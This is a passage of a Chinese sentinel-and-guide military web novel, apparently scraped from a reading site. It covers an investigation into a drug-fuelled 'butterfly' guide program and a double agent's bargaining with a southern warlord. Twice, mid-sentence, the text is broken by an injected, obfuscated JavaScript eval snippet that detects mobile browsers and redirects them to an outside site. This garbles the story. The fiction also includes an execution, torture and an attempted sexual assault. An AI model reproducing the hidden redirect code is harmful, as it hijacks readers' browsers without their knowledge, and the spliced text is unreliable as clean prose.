“也可以这样认为,但是在公会他的职责仍旧是哨兵。”布雷塔妮公事公办地答道,与凯瑟琳.西里埃克斯不同,艾瑞克.西里埃克斯是有军职的,只不过因为与家族公开决裂、并脱离了贵族身份,他现在隶属于地方第七公会,而非皇家公会。 “很抱歉,韩奕少将事务繁忙,没法亲自过来接待您。”楚飞将话语修饰得尽量委婉,但也可能是第一次负责做接待,他看上去仍旧有些不自然。 “我对中央公会发生的事有所耳闻,理解他的心情。”布雷塔妮的神色肃穆而干练,她随后毫不留情地开口:“寒暄就到此为止吧,麻烦楚飞少校同我介绍一下目前的情况。” “……”没有沙龙宴会与纸醉金迷,单刀直入直奔主题,看样子眼前这位与林轩、凯瑟琳夫妻确实不同。楚飞缓缓吐出一口气,随后伸手将布雷塔妮往办公室请去。 自从升职少校后,楚飞也有了自己的办公室,就在韩奕办公室的楼下。 他能展示给布雷塔妮的,只有在萨特斯堡垒、泽卡黑市以及还有少数几次疑似蝴蝶向导出现的战场记录仪,这一部分记录仪都已被整理归档,但因为向导彼此精神力的对决无法被记录仪捕捉,对于蝴蝶向导的情况很大程度上,仍旧取决于周烨和顾小绒之前的那一次汇报。 “冒昧问一下,这位顾小绒中尉……”布雷塔妮从自己的显示器上查询到了顾小绒的资料,她蹙眉看着向导被拉在黑框里的名字:“她就是叛逃的那位间谍?”< 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“好。”布雷塔妮一个眼神,她的哨兵就已记下了所有的名字:“立即传唤这几位向导过来见我,那位发疯的在哪里?” “已转移到卡罗疗养院,距离中央公会大约几百公里。”楚飞发现整场对话都是对方主导着节奏,他仿佛是一个答题机器。 “过几天我会去探望他。”布雷塔妮说道,她的哨兵随即将任务记载了下来,哨兵与向导离开公会车辆是需要备案的,他们也才刚刚过来做好对接,车辆备案、出公会申请等杂事都需要一一去做。不过看上去,她的哨兵会将所有的事情打点妥当。 “麻烦你了,楚飞少校。”干净利落地安排完工作以后,布雷塔妮再次向他指派了最后的任务:“麻烦你将这些资料和记录仪拷一份给我,谢谢。”她葱白的指尖轻轻点了下桌面,宣告了此次短暂会议的结束。 布雷塔妮才来正式任职不过五天,公会上下就都知道了这是一位实干派。她一上来就抓住了最要紧的问题:蝴蝶向导。但是基于公会之前发生的事,加上她对这边的向导体系并不熟悉,去卡罗疗养院的事她原本只打算与自己的哨兵一同前去。 她倒是也预料过某位哨兵负责人会过来与她随行,不是楚飞就是曼琳,二人都是韩奕的嫡系,哪一位对于她而言都一样,无非是韩奕的左手与右手。这一次来的是曼琳,布雷塔妮远远就望见了她,倒确实比之前那位叫楚飞的稳重些。 不过令她意外的是,某位一直宣称公务繁忙、没有时间露面的少将,此时也正站在曼琳的身后。 真是千呼万唤始出来,布雷塔妮与艾瑞克立正行礼:“长官。” “走吧。”韩奕淡淡开了口,跟随少将的车队多达八辆,且不是平日里接待高官所用的礼车。布雷塔妮目光扫射过去,见里面满满坐着荷枪实弹的士兵,与此同时文职人员并不在其内,她立即明白了少将想要做的是什么。 既然长官发了话,大家也都各自上车落座,车队低调地驶出公会的偏门。布雷塔妮此时的精神力正与她的哨兵连接在一块,只是为了更清楚地看一眼韩奕,不过没有多久她便将精神力撤了回来,仰靠在后座上休息。 “前辈还是没怎么变。”女向导望着窗外好不容易放晴的天空。 “你以前服役时候和他就认识?”艾瑞克问道,两人不习惯旁人介入工作,因此艾瑞克同时承担了司机与秘书的职位。 “算是吧,不太熟,任务合作过一次,我给他打下手。”布雷塔妮陷入回忆:“那时候我还是个新人,能和传奇哨兵一同搭档挺荣幸的。” “这样啊。”艾瑞克收回视线,继续专注开车。 卡罗疗养院是公会专门用来安置受伤向导的地方,前身是曾经皇族度假的行宫,那里远离城市、依山傍水,瓦蓝的湖泊无边无际、横卧眼前,今日天气晴朗,难得没有下雪,远方还能眺望到苍穹尽头隐约的雪山。 疗养院铁制的大门被缓缓打开,象征着皇室的鸢尾雕花攀援其上,精美蜿蜒、富丽堂皇。这扇大门的年岁有些悠久,因此打开时花费了一些时间,略作停顿后,他们的车辆才依次开了进去。 44. 第四十四章 疗养院的院长已提前得知了公会今天会有人过来,不过他委实没有料到,哨兵与向导的总负责人、连同那位传说中的少将也都一同前来。院长看到身后黑压压的一片哨兵,已大概猜到情况和说好的“探望”伤员不太一样,不出半个小时对接事宜就已完成。 他们直奔那位在上一次事故中唯一活下来的向导。 按照原本的制度,即使是军部与公会的高层前来“探望”病员,也仍旧需要一位护士跟随。在疗养院提出这一点时,少将的耐心已经到了极限,他抬手将一道闪着紫色微光的条码朝着对方亮了出来,那是紧急战争法案的准许批文。 眼前的医护人员汗流浃背地拿出机器,扫过了那个条码,确认是真后,赶紧诚惶诚恐地将他们请进了病房,关上了门。少将随行的士兵立即封锁了整个楼层与区域,窗外一片寂静,仿佛连碎雪落下也不再发出一丝声息。 安静的白色病房内,名叫杰伊的年轻向导已被软带绑缚在了床上,因为来人都穿着公会的军服,为了避免他受太大刺激,护士已提前将眼罩遮盖在他的眼睛上。杰伊虽然已精神失常,但仍就有着向导的本能,即使是遮着眼睛他也能感觉到进入房间的人里有几位哨兵,有一位的气场格外可怕,他不由一阵战栗,想往被子底下缩去。 带着有些沉重的步伐,诺兰走上前去释放出了他的向导素,同时轻轻抚上了杰伊因害怕而紧紧攥着的手。诺兰的向导素是微甜的牛奶味,缓慢散发的时候有一种奶昔般可口的香甜。 “杰伊,我是诺兰,还记得我吗?”他将声音放的很轻,一手轻轻摸索着对方的手臂:“大家都很想念你,我们今天过来看你了。呐,你看,还给你带了花来。”站在后面的一位士兵立即配合地将早已准备好的白色鸢尾拿了出来,摆上了床头。 曼琳随后拿出了一个黑色的皮箱,将它平放在病房的白色桌子上打开,里面装着一个近似于圆形的金属仪器,看上去是一个戴在头上的装置。两位穿着白大褂的人随后开始将器械搬运出来、开始调试,他们的服制与医生略有不同,很明显是科研院的人,两人都戴着口罩和护目镜,看不清面容。 布雷塔妮眯了下眼,她平日无聊时喜欢翻阅一些前沿报告,认得出这应该用来投影向导精神视角的装置,是科研院还在实验中的产品,按理来说应该还在研发阶段。想来若不是迫于某位军部高官的威势,一时半会儿还不能投入使用,她的眼神不由微微一变。 接下来是意料之中的步骤,诺兰一边哄劝着,一边将一个小型口枷放进杰伊的嘴里,被牢牢绑缚的年轻向导虽然害怕,却毫无反击之力,只能在呜咽中被扣紧了下颌。随着“咔哒”一声轻响,他的口腔被撑开,之后无论发生什么,他的牙齿也无法再触碰到舌头半分,这是他们才得到过的血的教训。 其中一位白大褂走上前来,将那个金属装置套到了杰伊的头上,他的动作不重,但杰伊的颤抖与眼泪仍旧使得装置打滑了好几次,最终在诺兰和曼琳的帮助下才将位置固定住,与此同时,另一位白大褂也将投影仪器调整好了。 仪器虽然可以投射出一部分向导的记忆与精神力画面,但在对方不肯主动配合时,也需要外部力量强制推行。 在这整个过程中,少将都没有说话,直到诺兰勉力从地上站起,他的眼神才落到了布雷塔妮身上。新任的向导总负责人心里一紧,她知道交投名状的时候到了。 所谓的投影仪只有一个手掌的大小,被放置在桌面上后,朝着上方的空间射出一道明亮的蓝光。 布雷塔妮的指尖挑住年轻向导的下颌,微凉的手抚上对方已被冷汗浸湿的鬓角,她是攻击型向导,一旦动手可能给对方造成极大的痛苦,可她没有选择。随着精神力的深度侵入,画面中开始慢慢出现了一些具象的场景,可以隐约看到是公会训练场的一角,画面随后被过多的杂质与噪点覆盖。 少将面容冷峻,专注地看着投影中的内容,破碎的画面落在那双深不见底的黑眸里,反射出幽幽的蓝光。他的周身散发出一股决然,冰冷坚硬,仿佛不带有一丝人类的感情,甚至不属于这个世间。 布雷塔妮的精神侵袭还在加深,杰伊的身体猛地僵直了,像是被抽离了灵魂,只剩一具仍有感官的空壳。熟悉的任务画面重新展现,冷色的金属地面与突如其来的敌方哨兵映入眼帘,在布雷塔妮的精神力加持下,他们甚至能看见杰伊当时与他的哨兵连接的视觉,这让画面变得更加清晰。 敌方哨兵的身手十分凶猛,几乎刀刀见血,但总的来说仍在相持不下的阶段,直到……饶是布雷塔妮,也浑身一震,她的唇齿无法控制地张开,仿佛是被扼住咽喉一般。可她的意志力极为坚强,只是片刻的冲击之后便挺了过来,数秒之后向导的视线已变作一片血红,黑暗中仿佛有无数的细密的刀刃将她的血肉切割。 蝴蝶在尖叫和嘶鸣中伤害着敌人,也伤害着自己。 她同“她”一样被困在暗色的血海里,直到悲切的尖啸声从遥远的黑暗深处传来,无数碎片在画面中定格,布雷塔妮浑身巨震,一股纤细的血从她的眼角滑落。 精神连接被立即终止,布雷塔妮几乎是倒退几步、单膝跪到了地上。但即使已经力竭,她也仍旧将杰伊的痛觉神经屏蔽、并将他用精神力保护了起来。 “立即进行技术修复。”少将偏过头去,对科研人员命令道。 “呃……”布雷塔妮冰蓝的眼已被血红浸染,她休息了很久,才在哨兵的搀扶下站起了身子。 少将没有催促,等待着她喘匀气息。 “怎么回事,这个向导在无差别的攻击……”布雷塔妮喘息着坐下,本能地说出了她的第一个认知,可随即她便陷入了更深的沉默,额间的薄汗尽数凝结,苍白的指节缓缓收紧。 随后,那只修长的指尖抬起,在虚无的空气中划了一个不甚不明晰的圈,布雷塔妮的唇角微微一颤,似乎在艰难地搜寻词汇描述她的感知:“我确定‘她’是一个向导……或者说,我确定‘她’是一个活人。可是我感觉不到‘她’具体的存在,可她的精神力又是这样超脱地、高浓度、高延展性地存在着。” 这一连串词汇实在是过于晦涩抽象,即使是同为向导的诺兰也听得有些吃力,可少将目光平静,等待着布雷塔妮接下来的分析。 “‘超脱感’的意思,是感觉到她的精神力与肉-体的剥离。”布雷塔妮的神色镇定了下来:“学界对于这种集成型‘黑暗向导’的存在是有过设想的,不过也都只停留在理论上。”布雷塔妮曾经在向导学院的时候,刚好研究过这个方向,只是如同任何一个前沿学科一样,那时候她也只是出于兴趣,而理论总归是停留在理论。 “想要用一个向导的力量匹配上百个、甚至无尽数量之多的哨兵,她做为基础生命形式存在的单体肉-身是无法承载这样的强度的。向导的精神力是依托于大脑而存在的,而人类的大脑无论是容量还是强度都是有限的。想要达到那样的存在,必然需要提炼出向导的精神力,与她承载有限的肉-体分离,并给与她一个更为强大的载体。”室内一片寂静,布雷塔妮的声线越来越冷。 “虽然听起来很离奇,但南方不知道用了什么手段,看上去已经把这种理论实践了出来。”冰蓝的眼眸沉寂了下去,变得黯淡无光:“只不过看上去他们的实验结果也不是很稳定,显然‘蝴蝶’的数值与能量状态没有得到很好的把控,过载的力量使她陷入了混乱与疯狂,所以南方应该也很着急,他们很需要更多高质量的向导,将好不容易有了可行性的实验推向更稳定的结果。” “是致幻剂。”少将的黑眸沉在这股冰寒围绕的空气中,他的声线低沉而冷寂。 “什么?”布雷塔妮与曼琳同时抬起眼,震惊地望向韩奕。 致幻剂,针对向导的A类禁药,在北方属于绝对的违禁药品,即使是轻微的剂量也可能导致向导的发疯或死亡。这种药剂是针对精神层面与中枢神经的毒品,它能让向导得到远超过肉-体的痛苦与欢愉,并具有极强的成瘾性。它的存在古老悠远,在历史中几经封禁却又不断重现,是危险程度远超罂粟等毒物的存在。 韩奕一伸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16055883|179099||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手,身旁的士兵便将一个文件袋恭敬地递了过去,他将文件袋交到了布雷塔妮手里。 “他们用致幻剂刺激向导,将她们的精神力从躯体上剥离,达到你刚刚所说的‘高浓度、高延展’的存在。”少将站起身子缓缓踱步,一股无形的压迫感充斥了整个房间。 曼琳定定地望着韩奕,眼睛里充满了不可置信的震惊与恐惧。 “阿尔塞拉和瓦尔塔那是希里斯手下致幻剂的主要生产地。”少将调出地图,点了一下位于塞莱斯平原南部的双城,黑色皮革的手套包裹住颀长的指节,覆盖在白皙而分明的手腕上,这让他的轮廓看上去冰冷而坚硬。 因为之前的陆军改革,中部的战程推进速度放缓,那里有多个专门制造药剂的卫星城被暂且搁置,没来得及清扫拿下。还好维塞克城已被拿下,只需调用陆军与空军进行协助,公会进行配合即可。 “长官,接下来的任务,我申请和我的哨兵亲临战场。”布雷塔妮抬起头,语气坚决。 韩奕静静注视了她片刻,才答了句:“好。” 至于能不能像之前的空军与海军上校那样得到这位少将的倚重、继而平步青云,就全看布雷塔妮自己之后的表现了。 “还有另一件事需要交由你们查证。”韩奕抬起沉黑的双目,声线冷冽。 被摊开放到桌上的仍旧是艾丽西娅的资料,她的精神体那一栏,赫然写着“蝴蝶”二字,布雷塔妮谨慎地看了一眼长官的神色,确定他允许之后,才伸手翻开了资料。 实际上,这些天来她也查询到了不少信息,心里早已有所猜测,只是一页页地翻下去,仍旧被里面的内容震惊到,一个可怕的念头呼之欲出。 “您是怀疑……”她谨慎地斟酌着措辞:“敌方的向导实验,与我方有关?有人……或者有一股势力,在朝着南方输送向导?”这句话说出口时,在场的人脸色都变了变,室内的温度仿佛下降到了冰点。 “艾丽西娅死前,也待在这个疗养院。”投影的光熄灭后,韩奕的眼重新沉了下去,变作没有任何光影的、深邃的黑色:“我已经派人将这个疗养院围住了,你们继续查下去。” “是。”曼琳与布雷塔妮齐声答道。 “这几年在这里死去的向导、以及在战场上失踪的,全都要查。”韩奕淡淡开口,声线笃定,没有一丝温度:“坟墓全部打开,比对DNA,要所有运输遗体的流程、以及车辆的行驶轨迹。” “是。”空气仿佛凝结成冰,极致的寒冷中只有冻结的细微声响。 充满铁锈与血腥的黑色牢笼里,顾小绒已浑身湿透地趴在地上,禁制环加剧了呼吸的难度,此时她只觉眼前发黑,撑起上身的胳膊大幅地颤抖着,几乎快要支撑不住。 而在她的身旁,被黑色锁链五花大绑的哨兵则是更加凄惨的模样,他的头上被固定了一个环形装置,四肢跪伏在地。牢笼的另一侧是一张深色的乌木雕花桌子,来自上一次夏季的黄金时代,从桌角边缘细腻的鸢尾纹样可以看出,应当是皇室曾经的所用之物。 小巧的投影仪正发出雪亮的冷光,照射在晦暗污浊的空气里。 最后的画面刚刚终结,顾小绒也力竭倒地,就在刚才她强迫眼前的哨兵吐出了他知道的所有信息。寂静的囚笼里,只有他们二人颤抖的呼吸渐次起伏。为防止哨兵自杀,他的嘴里已带上了口枷,顾小绒与他的精神力尚且牵拉在一起,即使她闭着眼,脑海中也仍能听见哨兵的声音。 “叛徒……”滴血的双眸带着刻骨的恨意,他的声音嘶哑而决绝。 希里斯侧身坐在桌前,靴子踩在华丽的地毯上,在认真看完所有信息后,冰冷的面容缓缓绽开一丝笑意:“看来韩奕已经知道致幻剂的事了。” 他随后站起身来,缓步走到二人身前,将枪口对准了浑身是血的哨兵:“你确实忠心耿耿、尽职尽责,希望你的长官记得你。” “砰!”的一身枪响,子弹穿透了哨兵的头颅,剧烈的血腥味直冲面门,红白的液体迸射了顾小绒一身,将她整个人从上到下地浇透。 45. 第四十五章 顾小绒捂住脸伏低了身子,血浆从她的指缝间淋漓地渗出,她的身体痉挛了几下,却什么都没能呕出。 死亡的气息弥漫在整个囚笼,哨兵千疮百孔的身体僵直地倒在她的面前,那双眼睛仍旧直直地盯着她,死不瞑目。希里斯缓缓收回他的枪,熟悉的银色枪身往下收回,顾小绒认得那把枪,当时瞄准韩奕的也是正是这一把。 做为一个S级哨兵,希里斯面对眼前如此剧烈的气味与冲击毫不在意,仿佛稀松平常,甚至连眉头都没有皱一下。 他把枪重新收回了腰间,可他的手指紧接着摩挲上了腕间的启动器,冰绿的眼比刚才还要冷,脸上却仍旧带着笑意,这让他的面容看起来像是一张假面,顾小绒不由打了个寒颤。 “那你呢?顾小绒。”她听见白狼的喉头微微滚动,轻轻吐出一句:“你是忠于我,还是忠于韩奕?” 他的眼中赫然闪过一丝猩红,指尖缓缓按向了启动器。一阵剧烈的痛朝着她袭来,她的头骨仿佛被击碎、脊椎如同被折断、五脏六腑被撕裂,身体失去控制地朝着地上栽倒,麻痹侵吞了她的四肢,她不受控制地抽搐起来,嘴唇被咬破,满是血腥。 原来这就是韩奕一直承受的痛苦,顾小绒闭上眼。 “给你的电击只有哨兵的1/5。”希里斯的声音变得有些遥远,她的脑海中响起刺耳的嗡鸣,好久之后才平息下来。她感到鸦片冷厉而魅惑的气息陡然靠近,冰冷的皮革手套缓缓钳住了她的下颌,顾小绒被那只手强迫抬起,继而与那双眼对视。 “你的表情告诉我你在想他。”她看见希里斯淡色的唇缓慢地开合,鸦片的味道更甚,让她头晕目眩,他的目光朝着下面移去:“你和他深度结合了吗?” “深……什么?”容不得她反应,希里斯已将她狠狠摔在了地上,哨兵的手如同铁钳一般制住她的双腿。从未有过的恐慌蔓延上来,顾小绒声嘶力竭地反抗着,哨兵的躯体却如同钢铁铸就一般不动分毫,她的裤子被轻易地撕开,身体在对方的目光下一览无余。 “希里斯,你这个混账……!我要宰了你!”向导的声音混杂着怒意与惊恐。 白狼不为所动,甚至在听到所谓的“威胁”时还露出了一丝愉悦的笑意。在得到了他想要的答案后,他将她翻过身来压在身下,他的手朝旁边一伸,身旁的哨兵立即会意,递上了一支装满蓝色药剂的针管。见顾小绒眼睛发红、闭口不言,希里斯笑出了声:“你该不会以为,我有韩奕那么温柔,拿软化剂跟你慢慢磨吧?”说着,他的手已经按在了她的后脖上。 此时,一直站在旁边的女哨兵忍不住开口道:“那个……老大……” 被突然地打断了动作,希里斯面露怒意。 女哨兵明显地瑟缩了一下,但仍旧硬着头皮说:“老大,她才被注射了好几天软化剂,你现在再给她注射致幻剂,会把她弄死的……” “你心痛她,要不这一针你替她受了。”希里斯双眸一凛,动作却停了下来。 女哨兵的声线颤得更凶了:“那个,现在向导很难找不是吗,我们也很需要向导……您先留她一命,别的可以再慢慢查嘛……” 感觉到对方的愠怒几欲爆发,顾小绒却忽然地笑出声来,嘶哑而歇斯底里的笑声充斥在黑暗的室内,让在场的哨兵们都陷入了短暂的沉默。 顾小绒终于说话了:“你让我去勾引韩奕,我做了;你让我替你传递情报,我也做了;这就是你给我的回应,这就是你所谓的‘交易’。”话音刚落,她便感觉到一股巨力将自己掀起,白狼狠狠将她翻了过来,向导在他的身下如同一个破布玩偶,毫无反击之力,她再次被迫对上了他的眼睛。 “你以为,我没有怀疑过,你是韩奕派来的吗?”他的眼睛危险地眯起:“你都和他深度结合了,你该不会是爱上了他、被他策反,替他重新潜回这里的吧?” “你说我背叛你,证据呢?”因为情绪太过激烈,顾小绒的唇齿都在颤抖:“我有哪一次没有听从你的命令?我拿命替你潜伏在S级哨兵身边,最后甚至冒着暴露的风险把情报给你,差点被韩奕弄死在审讯室……这就是你给我的回答?” 这一次,希里斯沉默了。 “你信不信任我,我忠不忠于你,重要吗?”顾小绒的声线稳定下来,她的面容甚至逐渐沾染上一股癫狂的笑意:“如果蝴蝶稳定的话,你又何必冒着风险来救我?” 希里斯闻言神色一变,他的手卡住了向导的脖颈,面露威胁:“你知道多少?” “我不知道。”顾小绒却游刃有余地看着对方,笑得恣意,好像对方才是那个砧板上的肉:“但你看上去很着急。”随后,她的手反客为主地握住了希里斯的手腕,尽管在力量的极致对比下,如同纤柔的花茎攀附上坚硬的钢铁。 “差不多得了,希里斯。”顾小绒笑意渐冷,她看着对方,如同看着一个无理取闹的孩子:“我没有忠于你,也没有忠于韩奕,我只想得到我想要的东西,这个东西只有你可以给我;而你想要的,也只有我能给你。” “好好考虑一下,合作要不要继续吧。”她松开了手,笑着看他。 “呵。”希里斯发出一声嗤笑,他的手却渐渐松开了钳制,装满致幻剂的针管早已滚落在地,玻璃与冰蓝的药剂四散碎裂,交融进逐渐凝固的血泊里。 致幻剂没有打进顾小绒的脖颈,取而代之的是向导抑制剂。 希里斯将她的禁制环取了下来,反正她也无路可逃。向导自从分化以后,向导素就会被公会登记在册,直到死后才会被注销,向导无论逃到哪里,只要向导素仍旧存在,就会被公会追踪、最终抓捕。 想要暂时性地遮蔽向导素,只能注射抑制剂,整个南方所有的药剂控制都掌握在希里斯一人手里。而想要一劳永逸、永绝后患,就只能做精神力切除手术。 南部黑市里被当做货物贩卖的向导,都是做了这样的手术,他们已不能有精神图景和精神体,仅仅只有极微弱的向导素和精神抚慰能力,不会再对哨兵构成任何威胁,沦为他们寻欢作乐的玩物。 因为残余的向导素过于微弱,他们也无法再被追踪到,因此南方鱼龙混杂,好多向导一分化后就被拐卖、或者被直接抢夺过来,反正进行精神力切除之后,他们的家人也永远无法再寻找到他们。 这就是顾小绒口中所说的,只有希里斯可以给她的东西。 北方被法律限制,不可以给向导做这种残损身体、违背人伦的手术,韩奕无论身处再高的职位,也无法给她自由。以现在向导的稀缺度,无论韩奕还在不在,顾小绒都会被无止境地配备给下一个哨兵,直到她油尽灯枯、再也榨不出一点价值,最后死在战场上。 只有希里斯开口,顾小绒才能得到她想要的“自由”,也只有得到这位南境地下统治者的允许,她才可以活着走出黑市。 希里斯只给了顾小绒三针抑制剂,一旦她显露出不忠或是叛逃,剩余的药剂就只够她支撑三天。那位北方少将的眼线与手下遍布大半个帝国,她根本无法活着离开,即使希里斯不动手,韩奕也会杀了她。 “反正你爱他,让你死在心爱的男人手里怎么样。”希里斯面露调侃,好像刚才的血雨腥风全然不存在似的。 “说正事。”顾小绒不接话,神色冰冷。她想要得到的东西需要付出巨大的代价,她明白这一点,等着对方开价。 “倒也不难。”希里斯望着她的眼睛:“替我们拿回维塞克城和阿维隆军港,我就给你做切除手术,如何?” “就这样?”顾小绒面露疑惑。 “就这样。”希里斯淡淡答道,白狼素来一诺千金,这也是顾小绒冒着这样大的风险与他合作的原因。 细细思索后,她才发现这个要求说难不难,说简单也不简单。北方拿下这两个重要的核心区域后,在常规战场上几乎已呈现单方面压制的态势,北方已几乎拥有了整个帝国2/3的领土,而上一次南方偷袭阿维隆的失败,让原本出于优势的海军也跌入了低谷。 顾小绒沉默了片刻,还是选择了同意,这几乎已经是最有可能达到的要求。在此之前,她还以为希里斯会提出诸如“杀了韩奕”或者“让南方统一全境”这样根本不可能完成的事。也许白狼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16055884|179099||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 内心也清楚,能伸手够到的月亮,才值得让人替他卖命。 顾小绒咬了咬牙,指尖深深扣入掌心。 “你刚才也听到了那个哨兵说了什么。”她听见希里斯开口,知道他说的是致幻剂的事。虽然对蝴蝶向导仍旧没有一丝半点的了解,但现在她起码知道,这个东西和她背后的一整套黑暗向导实验,都极其需要致幻剂。那位哨兵在死前已将这个信息传回了北方,韩奕一定会派遣大军压境,摧毁致幻剂的主要产地。 “我制作致幻剂的基地主要分布在阿尔塞拉城和瓦尔塔那城。”希里斯指了指蓝光投屏的地图,顾小绒朝着那里望去,心脏不由一沉。那里实在太靠近维塞克城了,中间几乎只隔着一个平原,也没有任何可做遮挡或者防御的地理条件。 “没有要你守住,那是南方军的事。”看她的神情,希里斯觉得有些好笑:“我在那里有五个核心生产机器,是很高价值的设备,你替我把它们运回到后方。” “好的,明白。”顾小绒简洁地答道,脑子里已开始飞速思考对策。 似乎对她这样快速而专注地进入到工作状态感到满意,希里斯点了下一直跟随在侧的女哨兵:“我让薇拉与你对接,其余狂化哨兵做辅佐,你来安排,到时候把需求给我一份。” “好。”顾小绒答道。 她应该庆幸,希里斯有这样庞大的产业要管,倒也不能一直将她盯着,白狼交代完任务就离开了,接下来她有几天的时间去做布局和筹备。希里斯倒也没有怎么对她严加看管,只有那位名叫薇拉的女哨兵一直跟在她的身边。 之前多亏薇拉出言相救,希里斯才没有把致幻剂打进顾小绒的脖子,在希里斯终于松手、将顾小绒往血泊里一扔的时候,也是她上前来脱下外套,替顾小绒裹住衣不蔽体的身子。 这个年轻女孩的年纪和曼琳差不多大,是一个轻型A级哨兵。两个女孩的关系快速拉进,薇拉笑着说自己还从来没有被匹配过向导,这还是第一次,还以为老大永远不会兑现这个承诺了呢。 她笑起来有种明媚的纯真,让顾小绒不由有些心疼,她伸手轻轻摸了摸对方的脸颊。 北方陆军改制时她一直跟在韩奕身边,几乎是全程围观,对新的陆军体系架构、军备、以及人员配置,甚至彼此之间的派系与矛盾都了如指掌。陆军虽然有各式各样的问题,但经过改制后战力已大幅提升,再加上空军也十分强悍,这一次的撤离任务实在艰巨。 而公会那边,言韶才被希里斯击伤,应该需要静养;还剩一位S级哨兵楚飞,但他的向导周烨此时身份敏感。因此顾小绒推断,也许这一次不会有S级哨兵出现。新上任的向导总负责人布雷塔妮,她虽然不了解,但能推测出此人一定急切地渴望上位之后的第一场胜利。只有这样,她才能得到韩奕的信任,继而平步青云。 在薇拉崇拜的眼神里,顾小绒从容地将所有信息整理出来,分门别类,接下来她要开始详细规划任务细节。 “好啦,你快去休息,明天我把方案给你看。”顾小绒揉了揉已经快打盹的薇拉,她是真的困了,迷迷瞪瞪地答应了后便卧到了沙发上。 时间已是深夜,四下一片寂静。她与薇拉同住的是一间宽敞的两室一厅,因为希里斯的命令,薇拉即使是睡觉也得睡在顾小绒身边,为了不吵到她,顾小绒没有开大灯,只有一盏小小的孤灯映照着她的面容。薇拉已极其困倦,不多时便进入了深度睡眠,呼吸变得均匀而绵长。 顾小绒放下手头的工作,抱起换洗的衣物去了洗浴室,在确信一整个过程都没有吵醒到薇拉后。她在深黑的夜色里调整着频道,最终接通到一个频段,快速地输入了一段特殊编码组成的信息。 报告「尾鸦」:代号「银雀」已成功潜伏入内。 不多时,对面便发来回复:信息收到,「银雀」是否得到「白狼」信任? 顾小绒叹了一口气,指尖稍微顿了顿,才输入道:不完全。 大约过了数十秒,对方才回复道:优先保证自身安全。 是。简短的字符被输入进去后,顾小绒关闭了频段。 46. 第四十六章 这是顾小绒第一次同南方军一起行动,她是有数次任务经验的向导,早已算不得新人,按理来说不该有什么不适应的地方。可是抬头看见战机上曾经的敌军标志,顾小绒的心里仍旧涌动着一股难言的情绪,她将目光从那里移开,放空在冰冷的金属机体上。 南方联盟的形成轨迹同北方全然不同,多亏曾经被禁制环绑在韩奕办公室,顾小绒阅读过那里很多关于南方军的历史与起源。他们本身就是由佣兵起家,即使现在有所谓的组织架构,核心也仍就是联合起来的军阀,最开始仍就是有些分裂的状态。 直到十年前,南方的佣兵们才被一位名叫晏景行的将军统一,形成了如今的联盟,也真正拥有了反抗北方帝国的力量,但即使到了现在,他们也还是保留着佣兵时代的特征。 这一次希里斯派出的哨兵与向导只有薇拉和顾小绒,其余狂化哨兵都放置在战机的冷藏库里,直到降落在目的地后才会启动。 也许这就是顾小绒觉得不舒服的原因,除了战机上南联盟的标志之外,她脚下的冷冻仓库里,还密密麻麻地躺满了封冻起来的哨兵,这让她想着就觉得头皮发麻。 铅灰的天空阴冷潮湿,细碎的雨夹杂着雪持续地洒落着。这样的天气会使得冻土与冰层难以行进,陆军的行动可能受到限制,北方一定会将攻击重点放到空军。不过,现在这已经不是顾小绒该操心的事。 经过权衡,她决定与薇拉一起守卫防御系统,毕竟这里是北方攻击的重点。而防御系统一旦被攻破,无论是他们还是南方军都难逃一死,即使知道胜算不大,也要尽量支撑到把设备运输完。 至于运输环节,顾小绒交给了狂化哨兵去解决,希里斯给出的资源十分宽裕,足有二十个狂化哨兵可供她使用,顾小绒将他们都分去执行运输任务,只留下几个进行防御。 阿尔塞拉城有三台设备,都是最新型号,瓦尔塔那则有两台老旧型号,顾小绒只能选择防守阿尔塞拉,毕竟她目前也只能对接一个哨兵,实在分身乏术。实话说,对于瓦尔塔那的那两台设备,她没有抱太大期望。 南方军的短板也在此时暴露无遗,顾小绒清楚,之前北方军作战时之所以能取得胜利,是在于极其统一的目标、整合的资源以及匹配的作战系统。而此时,和顾小绒待在一起的,只有冰冷的狂化哨兵,常规军方面的配置更是无可比拟。双方一个要守城,一个要撤离,本就不是一条心。 这是她替希里斯做的第一件事,可千万不能砸了。顾小绒回忆着「尾鸦」的命令,面色沉重。 另一边,薇拉已经打开了战机巨大的封冻仓,顾小绒看见她的指尖在操作面板上灵巧地上下翻飞,不一会儿机械就发出巨大的嗡鸣与喷气声,装有狂化哨兵的舱体被挨个弹出。 顾小绒跟在薇拉身后,看着她一个个检查哨兵们基体的状态、以及血氧饱和度等等。这些狂化哨兵都是由大量催化剂喂养出来的,他们的五感与体力都被药剂催化到了极限,平日里如果没有向导的安抚与屏障,几乎会立即陷入到发狂与失控的痛苦中,因此通常都是冰冻保存。 也只有作战时候,他们的脊椎中被注入了特殊药剂,才能完全听从指令、进行动作。她看见薇拉按下操作键,舱体上一道蓝条迅速变短、消失不见,想来应该是已经注射完毕。最后输入打开的指令,面板弹出一道亮光扫描薇拉的瞳孔,确认了权限。 舱体中冷冻的液体迅速消失,连接的管子也都渐次断开,哨兵们的指尖开始挣动。这熟悉的一幕让顾小绒回忆起了她与韩奕在萨特斯堡垒的遇险,少将以一人之力血战上百狂化哨兵的场面,她大概终其一生都无法忘记。 